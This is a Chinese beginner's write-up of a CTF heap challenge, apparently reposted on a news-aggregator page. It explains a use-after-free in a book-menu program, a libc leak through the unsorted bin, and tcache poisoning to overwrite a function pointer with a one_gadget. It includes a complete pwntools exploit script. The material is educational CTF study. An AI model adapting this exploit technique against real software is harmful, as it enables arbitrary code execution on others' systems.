最新要闻

广告

手机

iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?

iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?

警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案

警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案

家电

环球热点!ctfpwn-堆入门之uaf(新手向)

来源:博客园

例题:


(资料图片)

程序保护全开,ida打开

int __cdecl main(int argc, const char **argv, const char **envp){  init(argc, argv, envp);  while ( 1 )  {    menu();    switch ( (unsigned int)read_int() )    {      case 1u:        new_book();        break;      case 2u:        edit_book();        break;      case 3u:        delete_book();        break;      case 4u:        show_book();        break;      case 5u:        return 0;      case 0x11u:        magic_book();        break;      default:        continue;    }  }}

可以看到是一个标准的堆的菜单题

new_book函数可以申请任意大小的堆块,并且把堆块大小存到books_size数组中,books_size是bss段的全局变量,并且把malloc_hook,free_hook置0

__int64 new_book(){  int i; // [rsp+8h] [rbp-8h]  int v2; // [rsp+Ch] [rbp-4h]  puts("book size:");  v2 = read_int();  for ( i = 0; i <= 4; ++i )  {    if ( !books[i] )    {      books[i] = malloc(v2);      books_size[i] = v2;      printf("You got new book at index %d\n", (unsigned int)i);      break;    }  }  _malloc_hook = 0LL;  _free_hook = 0LL;  return 0LL;}

edit_book函数可以向指定堆块读入不超过这个堆块大小的数据,没有溢出。并且也把malloc_hook,free_hook置0

__int64 edit_book(){  unsigned int v1; // [rsp+Ch] [rbp-4h]  puts("Book index:");  v1 = read_int();  if ( v1 > 4 )  {    puts("Wrong index!");  }  else if ( books[v1] )  {    puts("Provide book content:");    read(0, (void *)books[v1], (int)books_size[v1]);  }  _malloc_hook = 0LL;  _free_hook = 0LL;  return 0LL;}

delete_book函数存在uaf漏洞,同样把malloc_hook,free_hook置0

__int64 delete_book(){  unsigned int v1; // [rsp+Ch] [rbp-4h]  puts("Book index:");  v1 = read_int();  if ( v1 > 4 )  {    puts("Invalid index!");  }  else if ( books[v1] )  {    free((void *)books[v1]);                    // uaf    puts("Successfully deleted!");  }  else  {    puts("Already deleted!");  }  _malloc_hook = 0LL;  _free_hook = 0LL;  return 0LL;}

show_book函数可以打印堆块中的数据

int show_book(){  __int64 v0; // rax  unsigned int v2; // [rsp+Ch] [rbp-4h]  puts("Book index:");  v2 = read_int();  if ( v2 > 4 )  {    puts("Invalid index!");    LODWORD(v0) = 0;  }  else  {    v0 = books[v2];    if ( v0 )      LODWORD(v0) = printf("OUTPUT: %s\n", (const char *)books[v2]);  }  return v0;}

magic_book函数有一个magic_library函数,这个函数存放着一个指向bss段的指针

__int64 magic_book(){  return magic_library();}

按tab键可以查看汇编代码

public magic_bookmagic_book proc near; __unwind {push    rbpmov     rbp, rspmov     rax, cs:magic_libraryjmp     raxmagic_book endp

可以看到这个函数跳转到bss段指针指向的位置

思路:程序存在uaf漏洞,并且每次申请,编辑,释放堆块后将malloc_hook,free_hook置0。题目给了libc版本为2.27。所以可以先申请一个大堆块,一个小堆块,一个任意大小的堆块(防止与top chunk合并),再将大堆块释放进入unsorted bin中,这个堆块的fd和bk就被写入了与main_arena有固定偏移的地址,由于存在uaf漏洞,申请堆块的指针没有被清除,所以仍然可读可写,所以可以利用上述的unsorted bin的特性来泄露libc,然后再用一次uaf先释放第二个堆块,将magic_library写到第二个堆块中,再连续申请两个与这个堆块同样大小的堆块,就会从tcache bin中将magic_library申请出来,然后就可以读写magic_library指针所指向的内存了,利用magic_book的特性,将根据前面泄露的libc计算出的one_gadget写入到magic_library所指向的内存,然后再调用magic_hook即可。

exp:

from pwn import *p=process("./pwn")libc=ELF("./libc-2.27.so")def menu():        p.recvuntil(b">> ")def add(size):        menu()        p.sendline(b"1")        p.recvuntil(b"book size:\n")        p.sendline(str(size))def edit(idx,con):        menu()        p.sendline(b"2")        p.recvuntil(b"Book index:\n")        p.sendline(str(idx))        p.recvuntil(b"Provide book content:")        p.sendline(con)def show(idx):        menu()        p.sendline(b"4")        p.recvuntil(b"index:")        p.sendline(str(idx))def free(idx):        menu()        p.sendline(b"3")        p.recvuntil("Book index:\n")        p.sendline(str(idx))add(0x500)add(0x80)add(0x500)free(0)show(0)p.recvuntil(b"OUTPUT:")base=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-4111520one_gadget=base+0x4f2a5print(hex(base))free(1)edit(1,p64(0x602110))add(0x80)add(0x80)edit(4,p64(one_gadget))p.sendline(b"17")p.interactive()

关键词: